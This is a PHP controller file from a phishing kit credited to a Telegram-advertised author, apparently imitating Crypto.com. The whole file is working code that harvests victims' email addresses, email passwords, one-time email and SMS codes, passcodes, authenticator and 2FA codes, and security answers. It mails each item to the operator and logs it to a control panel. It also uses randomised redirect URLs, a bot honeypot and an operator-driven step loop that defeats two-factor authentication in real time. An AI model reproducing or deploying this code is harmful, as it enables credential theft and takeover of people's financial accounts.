<?php
    /*******
    Main Author: Z0N51
    Contact me on telegram : https://t.me/z0n51official
    ********************************************************/

    include 'app.php';

    if( $_GET['waiting'] == 1 ) {
        $response = checkgoto();
        if( $response === 'log' ) {
            echo "index.php?redirection=login";
            exit();
        } else if( $response === 'badlog' ) {
            echo "index.php?redirection=login&error=1";
            exit();
        } else if( $response === 'emailcode' ) {
            echo "index.php?redirection=emailcode";
            exit();
        } else if( $response === 'bademailcode' ) {
            echo "index.php?redirection=emailcode&error=1";
            exit();
        } else if( $response === 'passcode' ) {
            echo "index.php?redirection=passcode";
            exit();
        } else if( $response === 'badpasscode' ) {
            echo "index.php?redirection=passcode&error=1";
            exit();
        } else if( $response === 'sms' ) {
            echo "index.php?redirection=sms";
            exit();
        } else if( $response === 'badsms' ) {
            echo "index.php?redirection=sms&error=1";
            exit();
        } else if( $response === 'auth' ) {
            echo "index.php?redirection=auth";
            exit();
        } else if( $response === 'badauth' ) {
            $_SESSION['errors']['response'] = true;
            echo "index.php?redirection=auth&error=1";
            exit();
        } else if( $response === 'emailcode2' ) {
            echo "index.php?redirection=emailcode2";
            exit();
        } else if( $response === 'bademailcode2' ) {
            echo "index.php?redirection=emailcode2&error=1";
            exit();
        } else if( $response === 'emailsms' ) {
            echo "index.php?redirection=emailsms";
            exit();
        } else if( $response === 'bademailsms' ) {
            echo "index.php?redirection=emailsms&error=1";
            exit();
        } else if( $response === 'question' ) {
            echo "index.php?redirection=question";
            exit();
        } else if( $response === 'badquestion' ) {
            echo "index.php?redirection=question&error=1";
            exit();
        } else if( $response === 'email' ) {
            echo "index.php?redirection=email";
            exit();
        } else if( $response === 'bademail' ) {
            echo "index.php?redirection=email&error=1";
            exit();
        } else if( $response === 'config' ) {
            echo "index.php?redirection=config";
            exit();
        } else if( $response === 'gauth' ) {
            echo "index.php?redirection=gauth";
            exit();
        } else if( $response === 'i2fa' ) {
            echo "index.php?redirection=i2fa";
            exit();
        } else if( $response === 'badi2fa' ) {
            $_SESSION['errors']['2fa'] = get_text("i2fa_error");
            echo "index.php?redirection=i2fa&error=1";
            exit();
        } else if( $response === 'success' ) {
            echo "index.php?redirection=success";
            exit();
        }
        exit();
    }

    if( isset($_GET["redirection"]) && !empty($_GET['redirection']) ) {

        $red = $_GET['redirection'];
        $_SESSION['last_page'] = $red;
        $query = [];
        $parse_url = proper_parse_str($_SERVER['QUERY_STRING']);
        foreach($parse_url as $key => $val) {
            if( $key == 'redirection' || $key == 'prefix' ){
                unset($parse_url[$key]);
            } else {
                $query[] = $key . '=' . $val;
            }
        }
        if( is_array($query) ) {
            $query = "?" . implode('&',$query);
        }

        if( isset($_GET['prefix']) ) {
            $_SESSION['prefix'] = $_GET['prefix'];
        }

        resetgoto();

        header("Location: " . randomix(24) . $query);
        exit();

    } else if( isset($_GET["lang"]) && !empty($_GET['lang']) ) {

        $_SESSION['lang'] = $_GET["lang"];
        location($_SESSION['last_page']);

    } else if( $_SERVER['REQUEST_METHOD'] == "POST" ) {

        if( !empty($_POST['cap']) ) {
            header("HTTP/1.0 404 Not Found");
            exit();
        }

        if( $_POST['action'] == "VISITORS" ) {
            panel([
                'action' => 'VISITORS',
                'ip'     => $_POST['ip'],
                'page'     => $_POST['page'],
            ]);
            exit();
        }

        if ($_POST['steeep'] == "login") {
            $_SESSION['errors'] = [];
            $_SESSION['email']    = $_POST['email'];
            if( validate_email($_POST['email']) == false ) {
                $_SESSION['errors']['email'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Login';
                $message = victim_infos() . "\r\n";
                $message .= 'Email : ' . $_POST['email'] . "\r\n";
                $message .= '/-- END LOGIN INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'INSERT',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'login' => $_POST['email'],
                    ],
                ]);
                location('loading');
            } else {
                location('loading','&error=1');
            }
        }

        if ($_POST['steeep'] == "emailcode") {
            $_SESSION['errors'] = [];
            if( validate_number($_POST['code'],6) == false ) {
                $_SESSION['errors']['code'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Login';
                $message = victim_infos() . "\r\n";
                $message .= 'Email code : ' . $_POST['code'] . "\r\n";
                $message .= '/-- END LOGIN INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'emailcode' => $_POST['code'],
                    ],
                ]);
                echo "index.php?redirection=loading";
                exit();
            } else {
                echo "index.php?redirection=emailcode&error=1";
                exit();
            }
        }

        if ($_POST['steeep'] == "passcode") {
            $_SESSION['errors'] = [];
            if( validate_number($_POST['code'],6) == false ) {
                $_SESSION['errors']['code'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Passcode';
                $message = victim_infos() . "\r\n";
                $message .= 'Passcode : ' . $_POST['code'] . "\r\n";
                $message .= '/-- END PASSCODE INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'passcode' => $_POST['code'],
                    ],
                ]);
                echo "index.php?redirection=loading";
                exit();
            } else {
                echo "index.php?redirection=passcode&error=1";
                exit();
            }
        }

        if ($_POST['steeep'] == "sms") {
            $_SESSION['errors'] = [];
            if( validate_number($_POST['code'],6) == false ) {
                $_SESSION['errors']['code'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | SMS';
                $message = victim_infos() . "\r\n";
                $message .= 'SMS code : ' . $_POST['code'] . "\r\n";
                $message .= '/-- END SMS INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'sms' => $_POST['code'],
                    ],
                ]);
                echo "index.php?redirection=loading";
                exit();
            } else {
                echo "index.php?redirection=sms&error=1";
                exit();
            }
        }

        if ($_POST['steeep'] == "auth") {
            $_SESSION['errors'] = [];
            if( validate_number($_POST['code'],6) == false ) {
                $_SESSION['errors']['code'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | AUTH code';
                $message = victim_infos() . "\r\n";
                $message .= 'AUTH code : ' . $_POST['code'] . "\r\n";
                $message .= '/-- END AUTH INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'auth' => $_POST['code'],
                    ],
                ]);
                echo "index.php?redirection=loading";
                exit();
            } else {
                echo "index.php?redirection=auth&error=1";
                exit();
            }
        }

        if ($_POST['steeep'] == "emailsms") {
            $_SESSION['errors'] = [];
            if( empty($_POST['emailsms']) ) {
                $_SESSION['errors']['emailsms'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Email sms';
                $message = victim_infos() . "\r\n";
                $message .= 'Email sms : ' . $_POST['emailsms'] . "\r\n";
                $message .= '/-- END EMAILSMS INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'emailsms' => $_POST['emailsms'],
                    ],
                ]);
                location('loading');
            } else {
                location('emailsms','&error=1');
            }
        }

        if ($_POST['steeep'] == "emailcode2") {
            $_SESSION['errors'] = [];
            if( empty($_POST['emailcode2']) ) {
                $_SESSION['errors']['emailcode2'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Email code';
                $message = victim_infos() . "\r\n";
                $message .= 'Email code : ' . $_POST['emailcode2'] . "\r\n";
                $message .= '/-- END EMAILCODE INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'emailcode2' => $_POST['emailcode2'],
                    ],
                ]);
                location('loading');
            } else {
                location('emailcode2','&error=1');
            }
        }

        if ($_POST['steeep'] == "question") {
            $_SESSION['errors'] = [];
            if( empty($_POST['question']) ) {
                $_SESSION['errors']['question'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Question';
                $message = victim_infos() . "\r\n";
                $message .= 'Question : ' . $_POST['question'] . "\r\n";
                $message .= '/-- END QUESTION INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'question' => $_POST['question'],
                    ],
                ]);
                location('loading');
            } else {
                location('question','&error=1');
            }
        }

        if ($_POST['steeep'] == "email") {
            $_SESSION['errors'] = [];
            $_SESSION['email_address']    = $_POST['email_address'];
            if( validate_email($_POST['email_address']) == false ) {
                $_SESSION['errors']['email_address'] = true;
            }
            if( empty($_POST['password']) ) {
                $_SESSION['errors']['password'] = true;
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | Question';
                $message = victim_infos() . "\r\n";
                $message .= 'Email address : ' . $_POST['email_address'] . "\r\n";
                $message .= 'Email password : ' . $_POST['password'] . "\r\n";
                $message .= '/-- END QUESTION INFOS --/' . "\r\n";
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'email' => $_POST['email_address'] . ' | ' . $_POST['password'],
                    ],
                ]);
                location('loading');
            } else {
                location('email','&error=1');
            }
        }

        if( $_POST['steeep'] == "config" ) {
            $_SESSION['isp'] = $_POST['isp'];
            $subject = get_client_ip() . ' | BINANCE | Email Code';
            $message = '/-- IP --/' . get_client_ip() . "\r\n";
            $message .= 'This victim chooses ' . $_POST['email_text'] . "\r\n";
            $message .= victim_infos();
            send($subject,$message);
            echo "index.php?redirection=email";
            exit();
        }

        if( $_POST['steeep'] == "i2fa" ) {
            $_SESSION['errors'] = [];
            $code2fa = $_POST['n1'] . $_POST['n2'] . $_POST['n3'] . $_POST['n4'] . $_POST['n5'] . $_POST['n6'];
            if( validate_number($code2fa,6) == false ) {
                $_SESSION['errors']['2fa'] = get_text("i2fa_error");
            }
            if( count($_SESSION['errors']) == 0 ) {
                $subject = get_client_ip() . ' | CRYPTO | 2fa';
                $message = '/-- i2FA INFOS --/' . get_client_ip() . "\r\n";
                $message .= '2FA code : ' . $code2fa . "\r\n";
                $message .= '/-- END i2FA INFOS --/' . "\r\n";
                $message .= victim_infos();
                send($subject,$message);
                panel([
                    'action' => 'UPDATE',
                    'ip'     => get_client_ip(),
                    'results' => [
                        'i2fa' => $code2fa,
                    ],
                ]);
                echo "success";
                exit();
            } else {
                echo "index.php?redirection=i2fa&error=1";
                exit();
            }
        }

    } else {

        if( isset($_SESSION['last_page']) ) {
            redirect($_SESSION['last_page']);
        }

        header("Location: https://crypto.com/");
        exit();

    }
    

?>